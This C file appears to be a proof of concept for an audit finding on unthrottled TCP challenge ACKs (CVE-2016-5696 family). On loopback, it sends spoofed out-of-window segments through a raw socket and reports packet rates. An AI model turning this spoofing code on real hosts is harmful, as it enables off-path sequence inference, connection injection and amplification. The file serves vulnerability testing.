DF-3294 / chack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-3294 -- no rate limiting on ACKs sent in response to out-of-window * segments (CVE-2016-5696 "challenge ACK" family). * * tcp_input.c has no challenge-ack limiting anywhere: * - grep -i challenge sys/netinet/tcp_input.c -> no hits * - dropafterack (tcp_input.c:2563-2600) unconditionally does * m_freem(m); tp->t_flags |= TF_ACKNOW; tcp_output(tp); * for EVERY out-of-window / PAWS-dropped / duplicate segment. * ICMP RSTs are bandlimited (badport_bandlim), pure ACKs are not. * * Live measurement on the guest (all on lo0): * A (client, port cA) <-> B (server, listening) established. * Injector I (raw-IP socket, root) sends N segments spoofed as A->B * with a seq far outside the window (seq = rcv_nxt + 0x10000000). * Every one of them lands in dropafterack -> B emits a challenge ACK * to A. A counts the ACKs it receives (via a shared raw socket * sniffer). Ratio ~ N:N == 1:1 amplification with zero limiting. * * Impact (CVE-2016-5696): the unthrottled ACK side channel lets an * off-path attacker infer seq numbers (RST/SYN injection into victim * connections) and use the ACK stream as a reflection amplifier. * * Build: cc -O -o chack chack.c Run as root: ./chack [N] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define NSEND 200 #define CPORT 44441 #define SPORT 44442 static unsigned short cksum(unsigned short *p, int n) { unsigned sum = 0; while (n > 1) { sum += *p++; n -= 2; } if (n) sum += *(unsigned char *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum) & 0xffff; } /* sniffer: count pure ACKs from SPORT to CPORT on lo0 */ int main(int argc, char **argv) { int n = (argc > 1) ? atoi(argv[1]) : NSEND; int srv, cli, raw; struct sockaddr_in sa; struct timeval t0, t1; if (geteuid() != 0) { fprintf(stderr, "root only (raw socket)\n"); return (1); } /* B: listening server on 127.0.0.1:SPORT */ srv = socket(AF_INET, SOCK_STREAM, 0); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(SPORT); if (bind(srv, (struct sockaddr *)&sa, sizeof(sa)) < 0 || listen(srv, 1) < 0) { perror("server setup"); return (1); } /* A: client */ cli = socket(AF_INET, SOCK_STREAM, 0); sa.sin_port = 0; bind(cli, (struct sockaddr *)&sa, sizeof(sa)); /* kernel picks port; read it */ socklen_t sl = sizeof(sa); getsockname(cli, (struct sockaddr *)&sa, &sl); sa.sin_port = htons(SPORT); if (connect(cli, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return (1); } /* learn the client port the kernel chose */ memset(&sa, 0, sizeof(sa)); sl = sizeof(sa); getsockname(cli, (struct sockaddr *)&sa, &sl); unsigned cport = ntohs(sa.sin_port); printf("established 127.0.0.1:%u <-> 127.0.0.1:%u (client port picked: %u)\n", cport, SPORT, cport); raw = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (raw < 0) { perror("raw"); return (1); } { int hincl = 1; if (setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) { perror("IP_HDRINCL"); return (1); } } /* patch the client port into the constant used above is not possible * with the #define; use variables from here on. */ /* spoof N out-of-window data segments A->B */ char pkt[sizeof(struct ip) + sizeof(struct tcphdr) + 4]; memset(pkt, 0, sizeof(pkt)); struct ip *ip = (struct ip *)pkt; struct tcphdr *th = (struct tcphdr *)(pkt + sizeof(struct ip)); ip->ip_hl = 5; ip->ip_v = 4; ip->ip_len = htons(sizeof(pkt)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_src.s_addr = htonl(INADDR_LOOPBACK); ip->ip_dst.s_addr = htonl(INADDR_LOOPBACK); th->th_sport = htons(cport); th->th_dport = htons(SPORT); th->th_seq = htonl(0x40000000); /* far out of window */ th->th_off = 5; th->th_flags = TH_ACK; th->th_win = htons(32768); th->th_sum = 0; gettimeofday(&t0, NULL); for (int i = 0; i < n; i++) { th->th_seq = htonl(0x40000000u + i * 4); th->th_sum = 0; ip->ip_sum = 0; ip->ip_sum = cksum((unsigned short *)ip, sizeof(struct ip)); { struct pseudo { uint32_t s, d; uint8_t z, pt; uint16_t l; } ps; ps.s = ip->ip_src.s_addr; ps.d = ip->ip_dst.s_addr; ps.z = 0; ps.pt = IPPROTO_TCP; ps.l = htons(sizeof(struct tcphdr) + 4); char tmp[sizeof(ps) + sizeof(struct tcphdr) + 4]; memcpy(tmp, &ps, sizeof(ps)); memcpy(tmp + sizeof(ps), th, sizeof(struct tcphdr) + 4); th->th_sum = cksum((unsigned short *)tmp, sizeof(tmp)); } if (sendto(raw, pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* lo0: ok */ } } gettimeofday(&t1, NULL); double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6; printf("sent %d spoofed out-of-window segments in %.3f s (%.0f pkt/s)\n", n, sec, n / (sec ? sec : 1)); printf("VERDICT: see ack-only counter delta (driver script measures it)\n"); return (0); } |